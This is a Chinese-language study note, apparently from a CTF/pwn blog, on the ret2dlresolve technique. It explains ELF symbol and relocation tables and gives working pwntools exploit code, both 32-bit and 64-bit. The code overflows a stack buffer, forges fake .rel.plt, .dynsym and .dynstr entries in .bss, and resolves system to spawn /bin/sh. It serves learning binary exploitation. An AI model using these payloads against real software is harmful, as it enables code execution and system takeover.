本文最后更新于 2026年8月19日 晚上
ret2dl学习以及对应符号表解析2
- 开启partial之后,.dynamic的所有段都不可以修改,于是伪造下标来达成解析的目的。即动态链接器不检测下标的长度,不查询各个表一共多少项,一共有多长。
dynsm中每个表项为16字节,按表项来查询内容
1 2 3 4 5 6 7 8
| typedef struct { Elf32_Word st_name; Elf32_Addr st_value; Elf32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Half st_shndx; } Elf32_Sym;
|
构造方式:
1 2 3
| fake_st_name = fake_str_addr - dynstr
fake_sym = p32(fake_st_name) + p32(0) + p32(0) + p8(0x12) + p8(0) + p16(0)
|
dynstr中按照距离首地址的字节数来查询内容
如这样
1 2 3 4
| 偏移 0x00: \x00c 偏移 0x01: "libc.so.6\x00" 偏移 0x4c: "write\x00" 偏移 0x58: "read\x00" ...
|
relplt表项的内容
1 2 3 4
| typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; } Elf32_Rel;
|
64位有所不同,用的是rela.plt
1 2 3 4 5
| typedef struct { Elf64_Addr r_offset; Elf64_Xword r_info; Elf64_Sxword r_addend; } Elf64_Rela;
|
构造:
- r_info:高 24 位 = sym_index(告诉链接器去 dynsym 第几个符号找),低 8 位 = 0x7= R_386_JMP_SLOT(JUMP_SLOT 重定位类型)。glibc 2.34+ 的 _dl_fixup 有个断言就是检查 type == JMP_SLOT,不是 7 直接 abort——这就是为什么低 8 位必须写 7。
1 2
| r_offset_target = bss + 0x200 fake_rel = p32(r_offset_target) + p32((fake_sym_index << 8) | 0x7)
|
先在bss段上找各个位置的伪造。
1 2 3 4 5 6 7
| fake_rel_addr = bss + 0x0 fake_sym_addr = bss + 0x2c fake_str_addr = bss + 0x4c binsh_addr = bss + 0x80
fake_sym_index = (fake_sym_addr - dynsym) // 16 fake_st_name = fake_str_addr - dynstr
|
dl函数中的linkmap*不可控,可控的只有第二个参数reloc_arg,计算它的相对偏移
1
| reloc_arg = fake_rel_addr - rel_plt
|
构造需要写入的fake_chain链,用栈溢出调用read写到bss段上
1 2 3 4 5 6 7 8 9
| fake_chain = fake_rel
fake_chain = fake_chain.ljust(0x2c,b'A') fake_chain += fake_sym
fake_chain = fake_chain.ljust(0x4c,b'B') fake_chain += b'system\x00' fake_chain += b'C' * (0x80 - 0x4c - 7) fake_chain += b'/bin/sh\x00'
|
写入伪造链后执行解析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| ---------- 阶段 1: 把伪造链写到 bss, 然后回 vuln ---------- payload1 = b'A' * 76 payload1 += p32(read_plt) payload1 += p32(vuln_addr) payload1 += p32(0) payload1 += p32(bss) payload1 += p32(len(fake_chain))
p.recvline()
p.send(payload1.ljust(0x200, b'\x00')) p.send(fake_chain)
payload2 = b'A' * 76 payload2 += p32(plt0) payload2 += p32(reloc_arg) payload2 += p32(0xdeadbeef) payload2 += p32(binsh_addr)
p.send(payload2.ljust(0x200, b'\x00'))
|
解析完后成功执行

调试可以看到bss段上对应位置被解析了system的地址

pwntools集成了计算dlresolve的偏移的方法,自行选择了bss段上的一个地址作为data_addr并且计算好对应的函数名、参数的写入地址以及伪造的变量。
| 0x00 |
"system\0"(名字字符串) |
fake_str |
| 0x0c |
fake_sym(16B):st_name=0x4b74, value=0, size=0, info, other, shndx |
fake_sym |
| 0x1c |
fake_rel(8B):r_offset=0x804ce00, r_info=0x4c007 |
fake_rel |
| 0x24 |
"/bin/sh\0" |
binsh |
总结:本质上是通过reloc偏移的自定义,使得dl函数索引到了伪造的rel.plt表项,然后从中读到了假的dynstm的偏移,再从假的dynsym中提供的名字在dynstr中的偏移,得到伪造的字符串的地址,索引到伪造的字符串,执行解析,解析完毕后执行该函数。
补充:64位调用时略有差距,但差距不大,第一次要调用寄存器输入三次的参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| rop1 = ROP(elf) rop1.raw(POP3_RET) rop1.raw(0) rop1.raw(dl.data_addr) rop1.raw(len(dl.payload)) rop1.raw(elf.plt['read']) rop1.raw(vuln_addr)
p.recvline()
p.send((b'A' * 72 + rop1.chain()).ljust(0x200, b'\x00')) p.send(dl.payload)
|
第二次要提前写入对应函数的参数,偏移写在跳转地址之后
1 2 3 4 5 6 7 8 9 10 11 12
| rop2 = ROP(elf) rop2.raw(POP3_RET) rop2.raw(binsh_addr) rop2.raw(0) rop2.raw(0) rop2.raw(plt0) rop2.raw(dl.reloc_index) rop2.raw(0xdeadbeef) gdb.attach(p)
p.send((b'A' * 72 + rop2.chain()).ljust(0x200, b'\x00'))
|
本质上调用该函数

这是linkmap*中对应的地址


参数0x309 × 0x18 = 0x48D8,对应与rela.plt中表项提取。每一项8字节,就是0x18(32位不同,32位直接就是对应字节偏移,用的是rel.plt,32位编译中乘法器直接会乘8)
